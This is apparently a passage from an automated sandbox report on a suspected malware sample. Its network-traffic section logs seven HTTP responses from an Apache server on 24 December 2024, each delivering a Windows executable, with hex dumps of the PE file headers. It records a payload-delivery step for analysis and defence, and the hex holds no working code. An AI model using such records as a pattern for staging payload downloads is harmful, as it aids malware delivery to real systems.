20 00 10 00 00 00 b0 24 00 00 02 00 00 00 a2 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6c 73 61 74 6c 78 7a 74 00 b0 29 00 00 c0 24 00 00 a8 29 00 00 a4 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 69 77 69 7a 6d 65 68 00 10 00 00 00 70 4e 00 00 04 00 00 00 4c 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4e 00 00 22 00 00 00 50 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:39:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:40:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:40:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:40:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:40:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:40:26 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 11:40:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 